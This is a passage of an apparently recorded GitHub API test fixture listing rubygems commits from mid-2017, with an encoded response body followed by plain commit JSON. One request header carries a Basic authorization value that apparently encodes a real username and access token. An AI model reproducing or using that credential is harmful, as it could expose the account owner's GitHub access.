QaWNrZWQgZnJvbSBodHRwczovL2dpdGh1Yi5jb20vcnVieS9ydWJ5L2NvbW1pdC80MWUxNjcwYTY0NDA1MTMzZTNkMjViNzNlNWNhYjk0NTZjY2IzNjRlXG5cbmBgYFxuKiBsaWIvcnVieWdlbXMvcmVzb2x2ZXIucmIgKHNvcnRfZGVwZW5kZW5jaWVzKTogdXNlIHN0YWJsZSBzb3J0LlxuICBUZXN0R2VtUmVxdWVzdFNldExvY2tmaWxlI3Rlc3RfdG9fc19nZW1fZGVwZW5kZW5jeV9ub25fZGVmYXVsdFxuICBmYWlscyBiZWNhdXNlIHRoaXMgbWV0aG9kIHJldHVybiB1bnN0YWJsZSByZXN1bHRzLlxuICBOb3RlIHRoYXQgRW51bWVyYWJsZSNzb3J0X2J5IGlzIHVuc3RhYmxlLlxuXG4gIEknbSBub3Qgc3VyZSB0aGUgXCJzdGFibGVcIiBuYXR1cmUgaXMgcmVxdWlyZWQgZm9yIFJ1YnlHZW1zLlxuICBUaGUgZmFjdCBpcyB0aGF0IHVzaW5nIHN0YWJsZSBzb3J0LCB0aGUgdGVzdCBwYXNzZWQgb25cbiAgbXN3aW42NCtWUzIwMTcgd2hlcmUgdGhlIHNvcnQgcmVzdWx0cyB3YXMgcmV2ZXJzZSAodW5zdGFibGUpIG9yZGVyLlxuICBBbHNvIHVzaW5nIGAtaWAgaW5zdGVhZCBvZiBgaWAgKGl0IG1lYW5zIGZvcmNpbmcgdW5zdGFibGUgc29ydClcbiAgdGhpcyB0ZXN0IGZhaWxzIG9uIG90aGVyIHBsYXRmb3JtIHdoZXJlIHRoZSB0ZXN0IHN1Y2Nlc3NlZCBiZWZvcmUuXG5gYGAiLCJ0cmVlIjp7InNoYSI6IjdhMzUwZDI5YWVkOTI2MmE1MGU0OTQ5OWY1OTY1OTg2ZTk0NjQyYmMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy83YTM1MGQyOWFlZDkyNjJhNTBlNDk0OTlmNTk2NTk4NmU5NDY0MmJjIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvYTFhODc4NzY4MzQ1YWVhZjgxZDAzZTFjNmI3OTIwNjA3ODFhYWI0ZiIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6dHJ1ZSwicmVhc29uIjoidmFsaWQiLCJzaWduYXR1cmUiOiItLS0tLUJFR0lOIFBHUCBTSUdOQVRVUkUtLS0tLVxuXG5pUUV6QkFBQkNBQWRGaUVFNTBMUjkwSk9vLzNwSXZkbStjOFRRWEprK3NJRkFsbUZLTTRBQ2drUStjOFRRWEprXG4rc0pVK2dmL1l2VmIvUFplOFppeEZiNTl6ZUd6ZDA5RlZldVFuY0Q5bTZDSW5hQWRpZXhPek5TaExIb3hINTUrXG44aVlORXFBLy9Qa3BuTFQzTytIRktDSkRMTFIzaG91WmlLTWZjUlpIajRnaTBCbURGc3NHbm9USUp5dHhySVRxXG5jbWYyTFBPai95cWxNSXlJbnY1MmtiY3FLN2QwK2xicW5aeW0yNzl1RXVGR3F0UG1OZ3lPZC9wdWNvcWFzaE4vXG5rSjhrK1hXRG9YRkZSZCtsR0EyWW9kaER3ZkRRdkdiTkRrRks2UnJKUi9GbHZRclFUdTlJV29yNzZzYXNxT25aXG5RQ2s0SnJXREFubDcxVzg3dUorWUdsTFhzaktBY2Y3WXZQeE9oUzZocThQTFB6MDVEa2lHZjlqcWJPdlVFQ2E4XG5IT3FyUUM0aGVIRTNmVnRJaXRRQTZxckZVc2Q0MHc9PVxuPTBEQWdcbi0tLS0tRU5EIFBHUCBTSUdOQVRVUkUtLS0tLSIsInBheWxvYWQiOiJ0cmVlIDdhMzUwZDI5YWVkOTI2MmE1MGU0OTQ5OWY1OTY1OTg2ZTk0NjQyYmNcbnBhcmVudCBkYjYyZmFiZjRiOTI5MWI3M2I1YWEzM2NmYTI2MGIyMzBkOWI4YzNlXG5hdXRob3IgU0hJQkFUQSBIaXJvc2hpIDxoc2J0QHJ1YnktbGFuZy5vcmc+IDE1MDE4OTg4NDcgKzA5MDBcbmNvbW1pdHRlciBTSElCQVRBIEhpcm9zaGkgPGhzYnRAcnVieS1sYW5nLm9yZz4gMTUwMTg5ODg0NyArMDkwMFxuXG5QaWNrZWQgZnJvbSBodHRwczovL2dpdGh1Yi5jb20vcnVieS9ydWJ5L2NvbW1pdC80MWUxNjcwYTY0NDA1MTMzZTNkMjViNzNlNWNhYjk0NTZjY2IzNjRlXG5cbmBgYFxuKiBsaWIvcnVieWdlbXMvcmVzb2x2ZXIucmIgKHNvcnRfZGVwZW5kZW5jaWVzKTogdXNlIHN0YWJsZSBzb3J0LlxuICBUZXN0R2VtUmVxdWVzdFNldExvY2tmaWxlI3Rlc3RfdG9fc19nZW1fZGVwZW5kZW5jeV9ub25fZGVmYXVsdFxuICBmYWlscyBiZWNhdXNlIHRoaXMgbWV0aG9kIHJldHVybiB1bnN0YWJsZSByZXN1bHRzLlxuICBOb3RlIHRoYXQgRW51bWVyYWJsZSNzb3J0X2J5IGlzIHVuc3RhYmxlLlxuXG4gIEknbSBub3Qgc3VyZSB0aGUgXCJzdGFibGVcIiBuYXR1cmUgaXMgcmVxdWlyZWQgZm9yIFJ1YnlHZW1zLlxuICBUaGUgZmFjdCBpcyB0aGF0IHVzaW5nIHN0YWJsZSBzb3J0LCB0aGUgdGVzdCBwYXNzZWQgb25cbiAgbXN3aW42NCtWUzIwMTcgd2hlcmUgdGhlIHNvcnQgcmVzdWx0cyB3YXMgcmV2ZXJzZSAodW5zdGFibGUpIG9yZGVyLlxuICBBbHNvIHVzaW5nIGAtaWAgaW5zdGVhZCBvZiBgaWAgKGl0IG1lYW5zIGZvcmNpbmcgdW5zdGFibGUgc29ydClcbiAgdGhpcyB0ZXN0IGZhaWxzIG9uIG90aGVyIHBsYXRmb3JtIHdoZXJlIHRoZSB0ZXN0IHN1Y2Nlc3NlZCBiZWZvcmUuXG5gYGBcbiJ9fSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzL2ExYTg3ODc2ODM0NWFlYWY4MWQwM2UxYzZiNzkyMDYwNzgxYWFiNGYiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvYTFhODc4NzY4MzQ1YWVhZjgxZDAzZTFjNmI3OTIwNjA3ODFhYWI0ZiIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9hMWE4Nzg3NjgzNDVhZWFmODFkMDNlMWM2Yjc5MjA2MDc4MWFhYjRmL2NvbW1lbnRzIiwiYXV0aG9yIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwiY29tbWl0dGVyIjp7ImxvZ2luIjoiaHNidCIsImlkIjoxMjMwMSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczEuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTIzMDE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9oc2J0IiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2hzYnQvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9oc2J0L3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvaHNidC9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZGI2MmZhYmY0YjkyOTFiNzNiNWFhMzNjZmEyNjBiMjMwZDliOGMzZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kYjYyZmFiZjRiOTI5MWI3M2I1YWEzM2NmYTI2MGIyMzBkOWI4YzNlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RiNjJmYWJmNGI5MjkxYjczYjVhYTMzY2ZhMjYwYjIzMGQ5YjhjM2UifV19LHsic2hhIjoiN2JjMjgzMjJiMWJhODFkN2EwZTI2YWY2ZGU4NmY3OTA3ZTgyZDdhYSIsImNvbW1pdCI6eyJhdXRob3IiOnsibmFtZSI6ImFuYW50a29sdmFua2FyIiwiZW1haWwiOiJhbmkua29sdmFua2FyQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTA4LTAyVDA5OjUzOjEzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6ImFuYW50a29sdmFua2FyIiwiZW1haWwiOiJhbmkua29sdmFua2FyQGdtYWlsLmNvbSIsImRhdGUiOiIyMDE3LTA4LTAyVDEwOjA0OjM0WiJ9LCJtZXNzYWdlIjoiQWRkZWQgbWVzc2FnZSB0byB1bmluc3RhbGwgY29tbWFuZCBmb3IgZ2VtIHRoYXQgaXMgbm90IGluc3RhbGxlZC4iLCJ0cmVlIjp7InNoYSI6Ijk5OTM5NzkzNWYzNzZhZmE4Mzk4Y2NiMmZlNjdkYzk0OTIxMjhiZmYiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy85OTkzOTc5MzVmMzc2YWZhODM5OGNjYjJmZTY3ZGM5NDkyMTI4YmZmIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvN2JjMjgzMjJiMWJhODFkN2EwZTI2YWY2ZGU4NmY3OTA3ZTgyZDdhYSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy83YmMyODMyMmIxYmE4MWQ3YTBlMjZhZjZkZTg2Zjc5MDdlODJkN2FhIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0LzdiYzI4MzIyYjFiYTgxZDdhMGUyNmFmNmRlODZmNzkwN2U4MmQ3YWEiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvN2JjMjgzMjJiMWJhODFkN2EwZTI2YWY2ZGU4NmY3OTA3ZTgyZDdhYS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImFuYW50a29sdmFua2FyIiwiaWQiOjQxMTM2MTAsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMwLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzQxMTM2MTA/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYW5hbnRrb2x2YW5rYXIiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJjb21taXR0ZXIiOnsibG9naW4iOiJhbmFudGtvbHZhbmthciIsImlkIjo0MTEzNjEwLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS80MTEzNjEwP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthciIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL2FuYW50a29sdmFua2FyIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYW5hbnRrb2x2YW5rYXIvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2FuYW50a29sdmFua2FyL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9hbmFudGtvbHZhbmthci9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiVXNlciIsInNpdGVfYWRtaW4iOmZhbHNlfSwicGFyZW50cyI6W3sic2hhIjoiZGI2MmZhYmY0YjkyOTFiNzNiNWFhMzNjZmEyNjBiMjMwZDliOGMzZSIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kYjYyZmFiZjRiOTI5MWI3M2I1YWEzM2NmYTI2MGIyMzBkOWI4YzNlIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RiNjJmYWJmNGI5MjkxYjczYjVhYTMzY2ZhMjYwYjIzMGQ5YjhjM2UifV19XQ== http_version: recorded_at: Sat, 06 Jan 2018 14:59:34 GMT - request: method: get uri: https://api.github.com/repositories/614070/commits?page=10&per_page=30&since=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:34 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4622' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"88138bd374cddaea6c8785a8b6911ac2" Last-Modified: - Mon, 24 Jul 2017 21:10:23 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.070963' X-Github-Request-Id: - C41E:4D95:F47855:1C82C04:5A50E456 body: encoding: ASCII-8BIT string: '[{"sha":"db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-24T21:10:23Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-24T21:10:23Z"},"message":"Auto merge of #1971 - colby-swandale:rubygems-doc-update, r=segiddins\n\nAdd documentation section to README and fix a few documentation related issues\n\n# Description:\n\n* Add a new section in the README covering the RubyGems documentation and\nRubyGems guides.\n* Update link to the RubyGems API to rubydoc.info since rubyforce.org\nhas been shutdown\n* Add link to homepage of the referenced graph gem\n* fix few small syntax issues\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"839533b29cf298b8da2f9af60498cd5a0298358b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/839533b29cf298b8da2f9af60498cd5a0298358b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","html_url":"https://github.com/rubygems/rubygems/commit/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/db62fabf4b9291b73b5aa33cfa260b230d9b8c3e/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"f106d866f18cb068150e41c730f4cc2785f18b09","url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09","html_url":"https://github.com/rubygems/rubygems/commit/f106d866f18cb068150e41c730f4cc2785f18b09"},{"sha":"24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","url":"https://api.github.com/repos/rubygems/rubygems/commits/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba","html_url":"https://github.com/rubygems/rubygems/commit/24179d8b0aa3413e8fd492a1c36dbffe23c3fcba"}]},{"sha":"f106d866f18cb068150e41c730f4cc2785f18b09","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T17:10:51Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T17:10:51Z"},"message":"Auto merge of #1972 - colby-swandale:installer-doc-fix, r=segiddins\n\nfix some small documentation issues in installer\n\n# Description:\n\nThis is just another small PR to fix some documentation. This time in the installer code.\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of conduct](https://github.com/rubygems/rubygems/blob/master/CODE_OF_CONDUCT.md).","tree":{"sha":"7fdb8618f4f71a1aa5fc0098628ad4bb6ffa68ed","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7fdb8618f4f71a1aa5fc0098628ad4bb6ffa68ed"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f106d866f18cb068150e41c730f4cc2785f18b09","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09","html_url":"https://github.com/rubygems/rubygems/commit/f106d866f18cb068150e41c730f4cc2785f18b09","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f106d866f18cb068150e41c730f4cc2785f18b09/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"2876d4d5b971fb939422fa272c36380d2a220b32","url":"https://api.github.com/repos/rubygems/rubygems/commits/2876d4d5b971fb939422fa272c36380d2a220b32","html_url":"https://github.com/rubygems/rubygems/commit/2876d4d5b971fb939422fa272c36380d2a220b32"},{"sha":"a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","url":"https://api.github.com/repos/rubygems/rubygems/commits/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6","html_url":"https://github.com/rubygems/rubygems/commit/a0b4ac9fdd68aaf4bc72e447825c2cd12a9ac9d6"}]},{"sha":"2876d4d5b971fb939422fa272c36380d2a220b32","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T16:46:12Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-07-20T16:46:12Z"},"message":"Auto merge of #1976 - rubygems:seg-bundler-1-15-2, r=segiddins\n\n[Bundler] Update to 1.15.2\n\n# Description:\n\nThis should get CI green\n\n# Tasks:\n\n- [ ] Describe the problem / feature\n- [ ] Write tests\n- [ ] Write code to solve the problem\n- [ ] Get code review from coworkers / friends\n\nI will abide by the [code of 